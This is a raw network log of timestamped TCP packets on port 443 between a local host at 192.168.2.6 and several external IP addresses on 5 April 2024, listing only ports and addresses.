Apr 5, 2024 20:10:17.406631947 CEST	49672	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:25.002712965 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.002736092 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.002820015 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.003046989 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.003061056 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.003366947 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.003388882 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.003521919 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.003705025 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.003716946 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.591473103 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.591867924 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.591882944 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.592947960 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.593024969 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.594043970 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.594206095 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.594233990 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.595043898 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.595243931 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.595263958 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.596349955 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.596448898 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.596740961 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.596800089 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.640239954 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.641664028 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.641669035 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.641673088 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.641676903 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:25.686644077 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:25.686654091 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.163969994 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.164052963 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.164102077 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.167026043 CEST	49716	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.167046070 CEST	443	49716	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.216170073 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.260229111 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509654999 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509685040 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509694099 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509708881 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509716988 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509751081 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.509767056 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509785891 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.509795904 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.509835958 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.542284012 CEST	49717	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.542301893 CEST	443	49717	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.695142984 CEST	49674	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:26.695169926 CEST	49673	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:26.784986973 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.785037041 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.785093069 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.785660028 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:26.785674095 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:26.798612118 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:26.798640013 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:26.798705101 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:26.799624920 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:26.799649000 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:26.799705982 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:26.800172091 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:26.800190926 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:26.800791979 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:26.800806046 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.016204119 CEST	49672	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:27.115159035 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.116760015 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.117846012 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.117856979 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.118521929 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.118535995 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.118902922 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.118963003 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.119556904 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.119615078 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.122520924 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.122591972 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.123858929 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.123919964 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.124455929 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.124465942 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.178292036 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.178293943 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.178303957 CEST	443	49721	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.219254017 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.219288111 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.219372988 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.219655991 CEST	49721	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.220129967 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.220141888 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.368268013 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.368675947 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.368694067 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.369035959 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.369484901 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.369569063 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.369858027 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.416244984 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.416595936 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.416668892 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.416724920 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.416739941 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.417009115 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.418844938 CEST	49722	443	192.168.2.6	140.82.113.3
Apr 5, 2024 20:10:27.418859959 CEST	443	49722	140.82.113.3	192.168.2.6
Apr 5, 2024 20:10:27.588704109 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.588741064 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:27.588989973 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.590616941 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.590632915 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:27.634669065 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:27.634691000 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:27.634780884 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:27.635035992 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:27.635051966 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:27.758430004 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:27.758454084 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:27.758548021 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:27.760799885 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:27.760816097 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:27.788125992 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:27.788136005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:27.788430929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:27.790827990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:27.790839911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:27.795880079 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.796550989 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.796571970 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.797580004 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.797692060 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.798188925 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.798254967 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.798968077 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.798974991 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.849869013 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:27.849996090 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.855011940 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.855017900 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:27.855257034 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:27.856945992 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.904634953 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.936227083 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:27.944371939 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.944437981 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.944714069 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.946568012 CEST	49720	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:27.946585894 CEST	443	49720	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:27.984241009 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.030744076 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:28.031352997 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:28.031364918 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:28.032262087 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:28.032378912 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:28.039216995 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:28.039272070 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:28.093816042 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.093853951 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:28.093872070 CEST	443	49725	142.250.189.132	192.168.2.6
Apr 5, 2024 20:10:28.093929052 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.094116926 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.094252110 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.094252110 CEST	49724	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.094268084 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.094278097 CEST	443	49724	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.105382919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.105777025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.105789900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.106821060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.106944084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.108840942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.108902931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.110884905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.110892057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.138972998 CEST	49725	443	192.168.2.6	142.250.189.132
Apr 5, 2024 20:10:28.148572922 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.148607016 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.148930073 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.150935888 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.150949955 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.156666994 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.241242886 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.241506100 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.257395983 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.257401943 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.257647991 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.276628971 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.276720047 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.276726007 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.276880026 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.324245930 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.367250919 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367278099 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367286921 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367317915 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367331028 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367333889 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:28.367350101 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367361069 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.367383003 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:28.367403984 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:28.370455027 CEST	49723	443	192.168.2.6	89.187.28.179
Apr 5, 2024 20:10:28.370470047 CEST	443	49723	89.187.28.179	192.168.2.6
Apr 5, 2024 20:10:28.405246973 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.405322075 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.406037092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406210899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406260967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.406282902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406374931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406419039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.406424999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406455040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406511068 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.406514883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406608105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.406646013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.406650066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.434508085 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.434623003 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.434680939 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.436069965 CEST	49726	443	192.168.2.6	20.25.241.18
Apr 5, 2024 20:10:28.436084986 CEST	443	49726	20.25.241.18	192.168.2.6
Apr 5, 2024 20:10:28.437572956 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.437592983 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.437866926 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.447819948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.449404955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.459733009 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.488660097 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 5, 2024 20:10:28.488733053 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 5, 2024 20:10:28.488976955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.489006042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.504242897 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.533860922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.558239937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558548927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558588028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558594942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.558629036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558665037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.558670044 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558696032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558738947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.558747053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558875084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.558919907 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.558926105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559029102 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559067965 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.559075117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559173107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559211016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.559217930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559365034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559407949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.559412003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559509039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.559549093 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.559555054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.601593018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.601650000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.601675034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.648706913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.648753881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.648781061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.655320883 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.655385971 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.655468941 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.703979015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.711086035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711307049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711358070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.711364031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711374998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711421967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.711435080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711536884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711576939 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.711582899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711803913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711846113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.711852074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711951017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.711987972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.711992979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712060928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712100983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712106943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712244987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712279081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712280035 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712287903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712326050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712343931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712476015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712517977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712529898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712582111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712624073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712629080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712709904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712742090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712754965 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712763071 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712802887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712807894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712919950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.712955952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.712960005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.713073969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.713114977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.713120937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.713275909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.713319063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.713325024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.713598013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.713635921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.713640928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.753211021 CEST	49728	443	192.168.2.6	23.204.76.112
Apr 5, 2024 20:10:28.753242970 CEST	443	49728	23.204.76.112	192.168.2.6
Apr 5, 2024 20:10:28.753982067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.754038095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.754060030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.754177094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.754220963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.754230976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:28.796976089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:28.800945997 CEST	443	49727	140.82.114.10	192.168.2.6
